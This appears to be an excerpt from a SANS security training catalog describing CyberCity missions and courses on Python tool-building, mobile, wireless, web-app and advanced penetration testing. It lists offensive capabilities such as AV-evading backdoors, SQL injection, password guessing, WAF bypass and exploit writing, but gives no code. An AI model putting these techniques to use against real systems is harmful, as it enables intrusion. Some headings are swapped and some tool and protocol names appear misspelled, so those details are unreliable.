3. Missile Launcher: Mission participants must prevent the launching of the missile at the commercial sector of the city by gaining control of it and aiming it to fire harmlessly over the horizon.

4. Coffee Shop/Hospital: Attackers have used the coffee shop’s free Wifi to gain control of a doctor’s laptop who has VPN’ed into the hospital, so that the attackers can manipulate the prescription medication of a patient. Mission participants are tasked with preventing this from happening.

5. Bank Alarm System: Cyber warriors must gain control of the bank’s alarm system to prevent a catastrophe, with the alarm status indicated by the color of the light in the bank (blue = active alarm, red = disabled alarm).

6. Traffic Lights: Take control of the traffic light infrastructure by manipulating the Modbus protocol in support of a personnel extraction mission.

7. Landing Strip Denial of Service: Attackers have launched a denial of service attack that results in the lights on the landing strip of the military quadrant to be disabled. Mission participants must fight through the denial of service to get the landing strip lights back on.

8. Network Reconnaissance: In this mission, participants must use CyberCity assets to gain information about potential attacker activity by combing through the CyberCity social networking site and analyzing detailed evidence. Through exploring posts by CyberCity citizens, cyber warriors will be able to discern details of their relationships and interactions, as well as the technical infrastructure of CyberCity.
SEC573: Python for Penetration Testers

Your target has been well hardened. So far, your every attempt to compromise their network has failed. But, you did find evidence of a vulnerability; a lucky break in their defensive posture. Sadly, all of your tools have failed to successfully exploit it. Your employers demand results. What do you do when off-the-shelf tools fall short? You write your own tool.

The best penetration testers can customize existing open source tools or develop their own tools. The ability to read, write, and customize software is what distinguishes the good penetration tester from the great penetration tester. This course is designed to give you the skills you need for tweaking, customizing, or outright developing your own tools to put you on the path of becoming a great penetration tester. Again and again, organizations serious about security emphasize their need for skilled tool builders. There is a huge demand for people who can understand a problem and then rapidly develop prototype code to attack or defend against it. Join us and learn Python in-depth and fully weaponized.

Unfortunately, many penetration testers do not have these skills today. The time and effort required to develop programming skills may seem overwhelming. But it is not beyond your reach. This course is designed to meet you at your current skill level, appealing to a wide variety of backgrounds ranging from people without a drop of coding experience all the way up to skilled Python developers looking to increase their expertise and map their capabilities to penetration testing. Because you can’t become a world-class tool builder by merely listening to lectures, the course is chock full of hours of hands-on labs every day that will teach you the skills required to develop serious Python programs and how to apply those skills in penetration testing engagements.

The course begins with an introduction to SANS pyWars. pyWars is a four-day Capture the Flag competition that runs parallel to the course material. It will challenge your existing programming skills and help you develop new skills at your own individualized pace. This allows experienced programmers to quickly progress to more advanced concepts while novice programmers spend time building a strong foundation. This individualized approach allows everyone to hone their current skills making them the most lethal weapon they can be.

After introducing pyWars the course covers the essentials skills required to get the most out of the Python language. The essentials workshop labs will teach those who are new to software development the concepts and techniques required to develop their own tools. The essentials workshop will also teach shortcuts that will make experienced developers even more deadly. Then we turn to applying those skills in today’s real world penetration testing scenarios. You will develop a port scanning, antivirus evading, client infecting backdoor for placement on target systems. You will develop a SQL injection tool to extract data from websites that fail with off-the-shelf tools. You will develop a multi-threaded password guessing tool and a packet assembling network reconnaissance tool. The course concludes with a one-day Capture the Flag event that will test both your ability to apply your new tools and coding skills in a penetration testing challenge.

“All of the hands-on labs come with solutions that Python novices like me can refer to when coding real pen-testing scripts. The examples and techniques presented in SEC573 are relevant to today’s attack scenarios.”

-Jacob Gianaruzzi, U.S. Army

“SEC573 is vital for anyone who considers themselves to be a pen tester.”

-Jeff Turner, Lexi Nexi Risk Solutions

“Scripting is a necessity for any serious pen tester. SEC573 provides useful hands-on knowledge.”

Jeffrey Mii, Atlas App

Course Day Descriptions

573.1 HANDS ON: Essentials Workshop – PART 1

The course begins with a brief introduction to Python and the pyWars Capture-the-flag game. We set the stage for students to learn at their own pace in the 100% hands-on pyWars lab environment. As more advanced students take on Python-based CTF challenges, students who are new to programming will start from the very beginning with Python essentials.

Topics: Variables; Math Operators; Strings; Functions; Modules; Compound Statements; Introspection

573.2 HANDS ON: Essentials Workshop – PART 2

You will never learn to program by staring at Powerpoint slides. The second day continues the hands on lab-centric approach established on day one. This section continues covering the essentials of the language, covering data structures and programming concepts. With the essentials of the language under your belt, the pyWars challenges and the in-class labs start to cover more complex subjects.

Topics: Lists; Loops; Tuples; Dictionaries; The Python Debugger; System Arguments & OptParser; File Operations

573.3 HANDS ON: Pentesting Applications – PART 1

Day 3 shifts gears. With a core set of skills established, we can begin developing Penetration Testing tools that you can use in your next engagement. You will develop a back door command shell that evades antivirus software and provides you with that critical initial foothold in the target environment. You will then develop a customizable SQL injection tool that you can use to extract all the data from a vulnerable database when off-the-shelf tools fail. Finally, we will discuss how to speed up your code with multi-threading.

Topics: Network Sockets; Exception Handling; Process Execution; Metasploit Integration; Antivirus; IDS Evasion; Introduction to SQL; Blind SQL Injection Techniques; Developing Web Clients; Multi-Threaded Applications; Mutexes and Semaphores; Message Queues; Thread Communications

573.4 HANDS ON: Pentesting Applications – PART 2

In this section we will develop more tools that will make you a more lethal penetration tester. First, you will develop a custom web-based password guesser. This will teach you how to get the most out of Python's web-based libraries and interact with websites using cookies, proxies, and other features to p0wn the most difficult web-based authentication systems. Then, you'll write a network reconnaissance tool that will demonstrate the power of Python's third-party libraries.

Topics: HTTP Form Password Guessing; Advanced Web Client Techniques; HTTP Proxies/HTTP Cookies; Session Hijacking; TCP Packet Reassembly With Scapy; Extracting Images from TCP Streams; Analyzing Image Metadata

573.5 HANDS ON: Capture the Flag

In this final section you will be placed on a team with other students. Working as a team, you will apply skills you have mastered in a series of penetration testing challenges. Participants will exercise the skills and code they have developed over the previous four days as they exploit vulnerable systems, break encryption cyphers, and remotely execute code on target systems. Test your skills! Prove your might!

You Will Be Able To

• Write a backdoor that uses Exception Handling, Sockets, Process execution, and encryption to provide you with your initial foothold in a target environment. The backdoor will include features such as a port scanner to find an open outbound port, the ability to evade antivirus software and network monitoring and the ability to embed payload from tools such as Metasploit
• Write a SQL Injection tool that uses standard Python libraries to interact with target websites. You will be able to use different SQL attack techniques for extracting data from a vulnerable target system
• Develop a tool to launch password guessing attacks. While developing this tool you will also make your code run faster by using multi-threading. You will handle modern authentication systems by handing cookies and bypassing CAPTCHAs. Know how to enhance your program with local application proxies. Create and use target customized password files and much more
• Write a network reconnaissance tool that uses SCAPY, cStringIO and PIL to reassemble TCP packet streams, extract data payloads such as images, display images, extract Metadata such as GPS coordinates and link those images with GPS coordinates to Google maps

Who Should Attend

• Security professionals who want to learn how to develop Python applications
• Penetration testers who want to move from being a consumer of security tools to the creator security tools
• Technologists that need custom tools to test their infrastructure and desire to create those tools themselves
SEC575: Mobile Device Security and Ethical Hacking

Now Covering the Latest Apple iOS and Android Devices

Mobile phones and tablets have become essential to enterprise and government networks, from small organizations to Fortune 500 companies and large-scale agencies. Often, mobile phone deployments grow organically, adopted by multitudes of end-users for convenient email access as well as by managers and executives who need access to sensitive organizational resources from their favored personal mobile devices. In other cases, mobile phones and tablets have become critical systems for a wide variety of production applications from enterprise resource planning to project management. With increased reliance on these devices, organizations are quickly recognizing that mobile phones and tablets need greater security implementations than a simple screen protector and clever password.

Whether the device is an Apple iPhone or iPad, a Windows Phone, an Android or BlackBerry phone or tablet, the ubiquitous mobile device has become a hugely attractive and vulnerable target for nefarious attackers. The use of mobile devices introduces a vast array of new risks to organizations, including:

- Distributed sensitive data storage and access mechanisms
- Lack of consistent patch management and firmware updates
- The high probability of device loss or theft, and more

Mobile code and apps are also introducing new avenues for malware and data leakage, exposing critical enterprise secrets, intellectual property, and personally identifiable information assets to attackers. To further complicate matters, today simply are not enough people with the security skills needed to manage mobile phone and tablet deployments.

This course was designed to help organizations struggling with mobile device security by equipping personnel with the skills needed to design, deploy, operate, and assess a well-managed secure mobile environment. From practical policy development to network architecture design and deployment, and from mobile code analysis to penetration testing and ethical hacking, this course will help you build the critical skills necessary to support the secure deployment and use of mobile phones and tablets in your organization.

You will gain hands-on experience in designing a secure mobile phone network for local and remote users and learn how to make critical decisions to support devices effectively and securely. You will also be able to analyze and evaluate mobile software threats, and learn how attackers exploit mobile phone weaknesses so you can test the security of your own deployment. With these skills, you will be a valued mobile device security analyst, fully able to guide your organization through the challenges of securing deployed mobile devices.

You Will Be Able To

- Develop effective policies to control employee-owned (Bring Your Own Device, BYOD) and enterprise-owned mobile devices including the enforcement of effective passcode policies and permitted application
- Utilize jailbreak tools for Apple iOS and Android systems such as redsn0w and Absinthe
- Conduct an analysis of iOS and Android filesystem data using SqliteSpy, Plist Editor, and AXMLPrinter to plunder compromised devices and extract sensitive mobile device use information such as the SMS history, browser history, GPS history, and user dictionary keywords
- Conduct an automated security assessment of mobile applications using iAuditor, Cyncrypt, MobileSubstrate, TaintDroid, and DroidBox to identify security flaws in mobile applications
- Analyze Apple iOS and Android applications with reverse engineering tools including class-dump, JD-GUI, dex-translator, and apktool to identify malware and information leakage threats in mobile applications
- Use wireless network analysis tools to identify and exploit wireless networks, crack WEP and WPA/WPA2 access points, bypass enterprise wireless network authentication requirements, and harvest user credentials
- Intercept and manipulate mobile device network activity using Burp to manipulate the actions taken by a user in an application and to deliver mobile device exploits to vulnerable devices

Who Should Attend

- Security personnel whose job involves assessing, deploying, or securing mobile phones, tablets and apps
- Network and system administrators supporting mobile phones and tablets
- Penetration testers
- Ethical hackers
- Auditors who need to build deeper technical skills

SEC575 offers invaluable material. Josh Wright’s energy and enthusiasm are incomparable!”

-Randy Paul, Clergy County PUD

Course Day Descriptions

575.1 HANDS ON: Mobile Device Threats, Policies, and Security Models

The first part of the course looks at the significant threats affecting mobile phone deployment and how organizations are being attacked through these systems. As a critical component of a secure deployment, we guide you through the process of defining mobile phone and tablet policies with sample policy language and recommendations for various vertical industries, taking into consideration the legal obligations of enterprise organizations. We’ll also look at the architecture and technology behind mobile device infrastructure systems for Apple, Android, BlackBerry, and Windows devices, as well as the platform-specific security controls available including device encryption, remote data wipe, application sandboxing, and more.

Topics: Mobile Phone and Tablet Problems and Opportunities; Mobile Devices and Infrastructure; Mobile Phone and Tablet Security Models; Legal Aspects of Mobile; Mobile Device Policy Considerations and Development

575.2 HANDS ON: Mobile Device Architecture Security & Management

With an understanding of the threats, architectural components and desired security methods, we can design and implement device and infrastructure systems to defend against these threats. In this part of the course, we’ll examine the design and deployment of network and system infrastructure to support a mobile phone deployment including the selection and deployment of Mobile Device Management (MDM) systems.

Topics: Wireless Network Infrastructure; Remote Access Systems; Certificate Deployment Systems; Mobile Device Management (MDM) Architecture; Mobile Device Management (MDM) Selection

575.3 HANDS ON: Mobile Code and Application Analysis

With the solid analysis skills taught in this section of the course, we can evaluate apps to determine the type of access and information disclosure threats that they represent. Security professionals can use these skills not only to determine which outside applications the organization should allow, but also to evaluate the security of any apps developed by the organization itself for its employees or customers. In this process, we’ll use jailbreaking and other techniques to evaluate the data stored on mobile phones.

Topics: Unlocking, Rooting, and Jailbreaking Mobile Devices; Mobile Phone Data Storage and Filesystem Architecture; Filesystem Application Modeling; Network Activity Monitoring; Mobile Code and Application Analysis; Approving or Disapproving Applications in Your Organization

575.4 HANDS ON: Ethical Hacking Mobile Networks

Through ethical hacking and penetration testing, we examine the mobile devices and infrastructure from the perspective of an attacker; identifying and exploiting flaws that could allow unauthorized access to data or supporting networks. By identifying and understanding the implications of these flaws, we can evaluate the mobile phone deployment risk to the organization with practical, useful risk metrics.

Topics: Fingerprinting Mobile Devices; WiFi Attacks; Bluetooth Attacks; Network Exploits

575.5 HANDS ON: Ethical Hacking Mobile Phones, Tablets, and Applications

Continuing our look at ethical hacking and penetration testing, we turn our focus to exploiting weaknesses on individual mobile devices including iPhones, iPads, Android phones, Windows Phones and Blackberry phones and tablets. We’ll also examine platform-specific application weaknesses and look at the growing use of web framework attacks.

Topics: Mobile Device Exploits; Web Framework Attacks; Application Attacks; Cloud/Remote Data Accessibility Attacks

575.6 HANDS ON: Secure Mobile Phone Capture the Flag

On the last day of class, we apply the skills, concepts, and technology covered in the course for a comprehensive Capture the Flag event. In this day-long, in-depth hands-on exercise, you will:

- Have the option to participate in multiple organizational roles related to mobile device security
- Design a secure infrastructure for the deployment of mobile phones
- Monitor network activity to identify attacks against mobile devices
- Extract sensitive data from a compromised iPhone
- Attack a variety of mobile phones and related network infrastructure components

In the exercise, you will use the skills built throughout the course to evaluate real-world systems and defend against attackers, simulating the realistic environment you’ll face when you get back to the office. You will leave the course armed with the knowledge and skills you’ll need to securely integrate and deploy mobile devices in your organization.
SEC617: Wireless Ethical Hacking, Penetration Testing, and Defenses

Despite the security concerns many of us share regarding wireless technology, it is here to stay. In fact, not only is wireless here to stay, but it is growing in deployment and utilization with wireless LAN technology and WiFi as well as with other applications, including cordless telephones, smart homes, embedded devices, and more. Technologies like ZigBee and Z-Wave offer new methods of connectivity to devices, while other wireless technology, including WiFi, Bluetooth, Bluetooth Low Energy, and DECT continue their massive growth rate, each introducing their own set of security challenges and attacker opportunities.

To be a wireless security expert, you need to have a comprehensive understanding of the technology, the threats, the exploits, and the defense techniques along with hands-on experience in evaluating and attacking wireless technology. Not limiting your skill-set to WiFi, you’ll need to evaluate the threat from other standards-based and proprietary wireless technologies as well. This course takes an in-depth look at the security challenges of many different wireless technologies, exposing you to wireless security threats through the eyes of an attacker. Using readily available and custom-developed tools, you’ll navigate your way through the techniques attackers use to exploit WiFi networks, including attacks against WER/WPA/WPA2, PEARTTLS, and other systems. You’ll also develop attack techniques leveraging Windows 7 and Mac OS X. We’ll examine the commonly overlooked threats associated with Bluetooth, ZigBee, DECT, and proprietary wireless systems. As part of the course, you’ll receive the SWAT Toolkit, which will be used in hands-on labs to back up the course content and reinforce wireless ethical hacking techniques.

Using assessment and analysis techniques, this course will show you how to identify the threats that expose wireless technology and build on this knowledge to implement defensive techniques that can be used to protect wireless systems.

**Who Should Attend**
- Network security staff
- Ethical hackers and penetration testers
- Network and system administrators
- Incident response teams
- Information security policy decision makers
- Technical auditors
- Information security consultants
- Wireless system engineers
- Embedded wireless system developers

**You Will Be Able To**
- Identify and locate malicious rogue access points using free and low-cost tools
- Conduct a penetration test against low-power wireless including ZigBee to identify control system and related wireless vulnerabilities
- Identify vulnerabilities and bypass authentication mechanisms in Bluetooth networks using Ubertooth, CarWhisperer, and btaptap to collect sensitive information from headsets, wireless keyboards and Bluetooth LAN devices
- Utilize wireless capture tools to extract audio conversations and network traffic from DECT wireless phones to identify information disclosure threats exposing the organization
- Implement an enterprise WPA2 penetration test to exploit vulnerable wireless client systems for credential harvesting
- Utilize wireless fuzzing tools including Metasploit, tle2air, and Scapy to identify new vulnerabilities in wireless devices

**Topics:**
- Introduction to the RC4 Cipher; Understanding Failures in WEP; Leveraging Advanced Tools to Accelerate WEP Cracking
- Attacking MS-CHAPv2 Authentication Systems; Attacker Opportunities When Exploiting Client Systems; Manipulating Plaintext Network Traffic; Attacking the Preferred Network List on Client Devices; Network Impersonation Attacks; Risks Associated with WMAN Technology; Assessing WiMAX Flaws
- Threats Associated with the WPA/TKIP Protocol; Implementing Offline Wordlist Attacks Against WPA/WPA2-PSK Networks; Understanding the PEAP Authentication Exchange; Exploring PEAP Through RADIUS Impersonation; Recommendations for Securing Windows XP Scaffolding; Exploring Wireless Firmware for DoS Attacks; Wireless Packet Injection and Manipulation Techniques; VPS Network Fingerprinting and Analysis Tools
- Advanced wireless testing and vulnerability discovery systems will be covered, including 802.11 fuzzing techniques. A look at other wireless technology, including proprietary systems, cellular technology, and an in-depth coverage of Bluetooth risks, will demonstrate the risks associated with other forms of wireless systems and the impact to organizations.

**Course Day Descriptions**

**617.1 HANDS ON: Wireless Data Collection & WiFi MAC Analysis**

Students will identify the risks associated with modern wireless deployments as well as the characteristics of physical layer radio frequency systems, including 802.11 a/b/g systems. Students will leverage open-source tools for analyzing wireless traffic and mapping wireless deployments.

**Topics:**
- Understanding the Wireless Threat; Wireless LAN Organizations and Standards; Using the SANS Wireless Auditing Toolkit
- Sniffing Wireless Networks: Tools, Techniques and Implementation; IEEE 802.11 MAC: In-Depth

**617.2 HANDS ON: Wireless Tools and Information Analysis**

Students will develop an in-depth treatise on the IEEE 802.11 MAC layer and operating characteristics. Using passive and active assessment techniques, students will evaluate deployment and implementation weaknesses, auditing against common implementation requirements, including PCI and the DoD Directive 8100.2. Security threats introduced with rogue networks will be examined from a defensive and penetration-testing perspective. Threats present in wireless hotspot networks will also be examined, identifying techniques attackers can use to manipulate a guest or commercial hotspot environment.

**Topics:**
- Wireless LAN Assessment Techniques
- Wireless Security Strategies and Implementation
- Who Should Attend
- You Will Be Able To
- Part three covers the evaluation of modern wireless encryption and authentication systems, identifying the benefits and flaws in WPA/WPA2 networks and common authentication systems. Upper-layer encryption strategies for wireless security using IPSec are evaluated with in-depth coverage of denial-of-service attacks and techniques.

**617.3 HANDS ON: Client, Crypto, and Enterprise Attacks**

Students will continue their assessment of wireless security mechanisms, such as the identification and compromise of static and dynamic WEP networks and the exploitation of weak authentication techniques, including the Cisco LEAP protocol. Next-generation wireless threats will be assessed, including attacks against client systems, such as network impersonation attacks and traffic manipulation. Students will evaluate the security and threats associated with common wireless MAN technology, including proprietary and standards-based solutions.

**Topics:**
- Introduction to the RC4 Cipher; Understanding Failures in WEP; Leveraging Advanced Tools to Accelerate WEP Cracking
- Attacking MS-CHAPv2 Authentication Systems; Attacker Opportunities When Exploiting Client Systems; Manipulating Plaintext Network Traffic; Attacking the Preferred Network List on Client Devices; Network Impersonation Attacks; Risks Associated with WMAN Technology; Assessing WiMAX Flaws

**617.4 HANDS ON: Advanced WiFi Attack Techniques**

**617.5 HANDS ON: Bluetooth, DECT and ZigBee Attacks**

Advanced wireless testing and vulnerability discovery systems will be covered, including 802.11 fuzzing techniques. A look at other wireless technology, including proprietary systems, cellular technology, and an in-depth coverage of Bluetooth risks, will demonstrate the risks associated with other forms of wireless systems and the impact to organizations.

**Topics:**
- Wireless Fuzzing Tools and Techniques; Vulnerability Disclosure Strategies; Discovering Unencrypted Video Transmitters; Assessing Proprietary Wireless Devices; Traffic Sniffing in GSM Networks; Attacking SMS Messages and Cellular Calls; Bluetooth Authentication and Pairing Exchange; Attacking Bluetooth Devices; Sniffing Bluetooth Networks; Eavesdropping on Bluetooth Headsets

**617.6 HANDS ON: Wireless Security Strategies and Implementation**

The final day of the course evaluates strategies and techniques for protecting wireless systems. Students will examine the benefits and weaknesses of WLAN IDS systems while gaining insight into the design and deployment of a public key infrastructure (PKI). Students will also examine critical secure network design choices, including the selection of an EAP type, selection of an encryption strategy, and the management of client configuration settings.

**Topics:**
- WLAN IDS Signature and Anomaly Analysis Techniques; Understanding PKI Key Management Protocols; Deploying a Private Certificate Authority on Linux and Windows Systems; Configuring Windows IAS for Wireless Authentication; Configuring Windows XP Wireless Settings in Login Scripts
SEC642: Advanced Web App Penetration Testing and Ethical Hacking

This course is designed to teach you the advanced skills and techniques required to test web applications today. This advanced pen testing course uses a combination of lecture, real-world experiences, and hands-on exercises to educate you in the techniques used to test the security of enterprise applications. The final day of the course culminates in a Capture the Flag (CTF) event, which tests the knowledge you will have acquired the previous five days.

We will begin by exploring specific techniques and attacks to which applications are vulnerable. These techniques and attacks use advanced ideas and skills to exploit the system through various controls and protections. This learning will be accomplished through lectures and exercises using real-world applications.

We will then explore encryption as it relates to web applications. You will learn how encryption works as well as techniques to identify the type of encryption in use within the application. Additionally, you will learn methods for exploiting or abusing this encryption, again through lecture and labs.

The next day of class will focus on how to identify web application firewalls, filtering, and other protection techniques. You will then learn methods to bypass these controls in order to exploit the system. You will also gain skills in exploiting the control itself to further the evaluation of the security within the application.

Following these general exploits, you will learn techniques that target specific enterprise applications. You will attack systems such as content management and ticketing systems. We will explore the risks and flaws found within these systems and how to better exploit them. This part of the course will also include web services and mobile applications due to their prevalence within modern organizations.

This information-packed advanced pen testing course will wrap up with a full day Capture the Flag (CTF) event. This CTF will target an imaginary organization's web applications and will include both Internet and intranet applications of various technologies. This event is designed to allow you to put the pieces together from the previous five days reinforcing the information and learning you will have gained.

You Will Be Able To
- Assess and attack complex modern applications
- Understand the special testing and exploits available against content management systems such as SharePoint and WordPress
- Use techniques to identify and attack encryption within applications
- Identify and bypass web application firewalls and application filtering techniques to exploit the system
- Use exploitation techniques learned in class to perform advanced attacks against web application flaws such as XSS, SQL injection, and CSRF

Who Should Attend
- Web penetration testers
- Security consultants
- Developers
- QA testers
- System administrators
- IT managers
- System architects

“Outstanding course!! It is great to have an opportunity to learn the material from someone who is extremely relevant in the field and is able to impart the value of his experiences.”
- Brian Brunn, DoD

“Thank you for offering this class. It has been a tremendous assistance to me in strengthening my web app pen testing skills.”
- Mark Gielen, Citrix

“Subject material is current. Instructor is a pro. Great stuff. I’ll be back.”
- Brian Houlahan, National Credit Union Administration

Course Day Descriptions

642.1 HANDS ON: Advanced Discovery and Exploitation

As applications and their vulnerabilities become more complex, penetration testers have to be able to handle these targets. We will begin the class by exploring how Burp Suite works and more advanced ways to use it within your penetration-testing processes. The exploration of Burp Suite will focus on its ability to work within the traditional web penetration testing methodology and assist in manually discovering the flaws within the target applications. Following this discussion, we will move into studying specific vulnerability types. This examination will explore some of the more advanced techniques for finding server-based flaws such as SQL injection. After discovering the flaws, we will then work through various ways to exploit these flaws beyond the typical means exhibited today. These advanced techniques will help penetration testers show the risks to which the flaws expose an organization.

Topics:
- Review of the Testing Methodology; Using Burp Suite in a Web Penetration Test; Examining How to Use the Burp Intruder to Effectively Fuzz Requests; Exploring Advanced Discovery Techniques for SQL Injection and Other Server-Based Flaws; Learning Advanced Exploitation Techniques

642.2 HANDS ON: Discovery and Exploitation for Specific Applications

We will continue the exploration of advanced discovery and exploitation techniques for today’s complex web applications. We’ll start by exploring advanced client-side flaws such as combined cross-site scripting (XSS) and cross-site request forgery (XSRF) vulnerabilities. We will explore some of the more advanced methods for discovering these issues. After finding the flaws, you will learn some of the more advanced methods of exploitation, such as scriptless attacks and building web-based worms using XSRF and XSS flaws within an application. During the next part of the day we’ll explore various popular applications and frameworks and how they change the discovery techniques within a web penetration test. This section of the class examines applications such as SharePoint and WordPress. These specific targets have unique needs and features that make testing them both more complex and more fruitful for the tester. This section of the class will help you understand these differences and make use of them in your testing.

Topics:
- Discovering XSS Flaws Within Complex Applications; Learning About OOP-based XSS Flaws and How to Find Them Within Applications; Exploiting XSS Using Scriptless Injections; Bypassing Anti-XSRF Controls Using XSS/XSRF Worms; Attacking SharePoint Installations; How to Modify Your Test Based on the Target Application

642.3 HANDS ON: Web Application Encryption

Cryptographic weaknesses are a common area where flaws are present, yet few penetration testers have the skill to investigate, attack, and exploit these flaws. When we investigate web application crypto attacks, we typically target the implementation and use of cryptography in modern web applications. Many popular web programming languages or development frameworks make encryption services available to the developer; but do not inherently protect encrypted data from being attacked, or permit the developer to use cryptography in a weak manner. These implementation mistakes are going to be our focus in this section, as opposed to the exploitation of deficiencies in the cryptographic algorithms themselves. We will also explore the various ways applications use encryption and hashing insecurely. Students will learn techniques such as identifying what the encryption technique is to how to exploit various flaws within the encryption or hashing.

Topics:
- Exploring How to Identify the Cryptography in Use; Discovering How to Attack the Encryption Keys; Learning How to Attack Electronic Codebook (ECB) Mode Ciphers; Exploiting Padding Oracles and Cipher Block Chaining (CBC) Bit Flipping

642.4 HANDS ON: Mobile Applications and Web Services

Web applications are no longer limited to the traditional HTML-based interface. Web services and mobile applications have become more common and are regularly being used to attack, exploit and organizations. As such, it has become very important that penetration testers understand how to evaluate the security of these systems. After finishing up our discussion on cryptography attacks, you will learn how to build a test environment for testing web services used by mobile applications. We will also explore various techniques to discover flaws within the applications and backend systems. These techniques may use tools such as Burp Suite and other automated tools.

Topics:
- Attacking CBC Chosen Plaintexts; Exploiting CBC with Padding Oracles; Understanding the Mobile Platforms and Architectures; Intercepting Traffic to Web Services and from Mobile Applications; Building a Test Environment; Penetration Testing of Web Services

642.5 HANDS ON: Web Application Firewall and Filter Bypass

Today, applications are using more security controls to prevent attacks. These controls, such as Web Application Firewalls and filtering techniques, make it more difficult for penetration testers during their testing. These controls block many of the automated tools and simple techniques used to discover flaws today. On day 5 you will explore techniques used to map the control and how it is configured to block attacks. You’ll be able to map out the rule sets and determine the specifics of how they detect attacks. This mapping will then be used to determine attacks that will bypass the control. You’ll use HTMLS, UNICODE and other encodings that will enable your discovery techniques to work within the protected application.

Topics:
- Understanding of Web Application Firewalling and Filtering Techniques; Exploring How to Determine the Rule Sets Protecting the Application; Learning How HTMLS Injections Work; Discovering the Use of UNICODE and Other Encodings

642.6 HANDS ON: Capture the Flag

During day six of the class, you will be placed on a network and given the opportunity to complete an entire penetration test. The goal of this capture the flag event is for you to explore the techniques, tools, and methodology you will have learned over the last five days. You’ll be able to use these ideas and methods against a realistic extranet and intranet. At the end of the day, you will provide a verbal report of the findings and methodology you followed to complete the test. Students will be provided with a virtual machine that contains the Samurai Web Testing Framework (SamuraiWTF) web penetration-testing environment. You will be able to use this both in the class and after leaving and returning to your jobs.
SEC660: Advanced Penetration Testing, Exploits, and Ethical Hacking

This course is designed as a logical progression point for those who have completed SEC560: Network Penetration Testing and Ethical Hacking, or for those with existing penetration testing experience. Students with the prerequisite knowledge to take this course will walk through dozens of real-world attacks used by the most seasoned penetration testers. The methodology of a given attack is discussed, followed by exercises in a real-world lab environment to solidify advanced concepts and allow for the immediate application of techniques in the workplace. Each day includes a two-hour evening bootcamp to allow for additional mastery of the techniques discussed and even more hands-on exercises. A sample of topics covered includes weaponizing Python for penetration testers, attacks against network access control (NAC) and VLAN manipulation, network device exploitation, breaking out of Linux and Windows restricted environments, IPv6, Linux privilege escalation and exploit-writing, testing cryptographic implementations, fuzzing, defeating modern OS controls such as ASLR and DEP, Return Oriented Programming (ROP), Windows exploit-writing, and much more!

Attackers are becoming more clever and their attacks more complex. In order to keep up with the latest attack methods, one must have a strong desire to learn, the support of others, and the opportunity to practice and build experience. SEC660 engages attendees with in-depth knowledge of the most prominent and powerful attack vectors and an environment to perform these attacks in numerous hands-on scenarios. This course goes far beyond simple scanning for low-hanging fruit, and shows penetration testers how to model the abilities of an advanced attacker to find significant flaws in a target environment and demonstrate the business risk associated with these flaws.

SEC660 starts off by introducing advanced penetration concepts and providing an overview to help prepare students for what lies ahead. The focus of day one is on network attacks, an area often left untouched by testers. Topics include accessing, manipulating, and exploiting the network. Attacks are performed against NAC, VLANs, OSPF, BGP, IPv6, VoIP, SSL, ARP, SNMP, and others. Day two starts off with a technical module on performing penetration testing against various cryptographic implementations. The rest of the day is spent on network booting attacks, escaping Linux restricted environments such as chroot, and exploiting Windows restricted desktop environments. Day three jumps into an introduction of Python for penetration testing, Scapy for packet crafting, product security testing, network and application fuzzing, and code coverage techniques. Days four and five are spent exploiting programs on the Linux and Windows operating systems. You will learn to identify privileged programs, redirect the execution of code, reverse-engineer programs to locate vulnerable code, obtain code execution for administrative shell access, and defeat modern operating system controls such as ASLR, canaries, and DEP using Return Oriented Programming (ROP) and other techniques. Local and remote exploits, as well as client-side exploitation techniques are covered. The final course day is dedicated to numerous penetration testing challenges requiring you to solve complex problems and capture flags.

Who Should Attend
- Perform fuzz testing to enhance your company’s SDL process
- Exploit network devices and assess network application protocols
- Escape from restricted environments on Linux and Windows
- Test cryptographic implementations
- Model the techniques used by attackers to perform 0-day vulnerability discovery and exploit development
- Develop more accurate quantitative and qualitative risk assessments through validation
- Demonstrate the needs and effects of leveraging modern exploit mitigation controls
- Reverse engineer vulnerable code to write custom exploits

You Will Be Able To
- Advanced InfSec Pros
- Network and Systems Penetration Testers
- Incident Handlers
- Application Developers
- IDS Engineers

Topics:
- “This course is an excellent tour into the advanced skills needed for current/ effective penetration.”
  - Matthew Smith, U.S. Dept. of Homeland Security
- “Most comprehensive coverage of fuzzing. I would have signed up for the course for that alone.”
  - Adam KliarSky, Celera-Sanq Medical Center

Course Day Descriptions

660.1 HANDS ON: Network Attacks for Penetration Testers

Day one serves as an advanced network attack module, building on knowledge gained from SEC560. The focus will be on obtaining access to the network; manipulating the network to gain an attack position for eavesdropping and attacks, and for exploiting network devices; leveraging weaknesses in network infrastructure; and taking advantage of client frailty.

Topics:
- By-passing Network Admission Control
- Impersonating Devices with Admission Control Policy Exceptions
- Exploiting EAP-MDS Authentication
- 802.1X authentication
- Custom Network Protocol Manipulation with Ettercap and Custom Filters
- Multiple Techniques for Gaining Man-in-the-Middle Network Access
- Exploiting OSPA Authentication to Inject Malicious Routing Updates
- Using Evilgrade to Attack Software Updates
- Overcoming SSL Transport Encryption Security with Sistrigo
- Remote Cisco Router Configuration File Retrieval

660.2 HANDS ON: Crypto, Network Booting Attacks, and Escaping Restricted Environments

Day two starts by taking a tactical look at techniques penetration testers can use to investigate and exploit common cryptography mistakes. We finish the module with lab exercises that allow you to practice your new-found crypto attack skill set against reproduced real-world application vulnerabilities.

Topics:
- Low-Frequency Enumeration of Large Windows Environments Without Heavy Scanning
- Strategic Target Selection
- Remote Desktop Protocol (RDP) and Man-in-the-Middle Attacks
- Windows Network Authentication Attacks
- Linux Network Authentication Downgrade
- Discovering and Leveraging MS-SQL for Domain Compromise Without Knowing the sa Password
- Metasploit Tricks to Attack Fully Patched Systems
- Utilizing LSA Secrets and Service Accounts to Dominate Windows Targets
- Dealing with Unguessable/Uncrackable Passwords
- Leveraging Password Histories
- Gaining Graphical Access
- Expanding Influence to Non-Windows Systems

660.3 HANDS ON: Python, Scapy, and Fuzzing

Day three starts with a focus on how to leverage Python as a penetration tester. It is designed to help people unfamiliar with Python start modifying scripts to add their own functionality while helping seasoned Python scripters improve their skills. Once we leverage the Python skills in creative lab exercises, we move on to leveraging Scapy for custom network targeting and protocol manipulation.

Topics:
- Becoming Familiar with Python Types
- Leveraging Python Modules for Real-World Pen Tester Tasks
- Manipulating Stateful Protocols with Scapy
- Using Scapy to Create a Custom Wireless Data Leakage Tool
- Product Security Testing
- Using Taof for Quick Protocol Mutation Fuzzing
- Optimizing Four Fuzzing Time with Smart Target Selection
- Automating Target Monitoring While Fuzzing with Sulley
- Leveraging Microsoft Word Macros for Fuzzing .docx files
- Block-Based Code Coverage Techniques Using Paimei

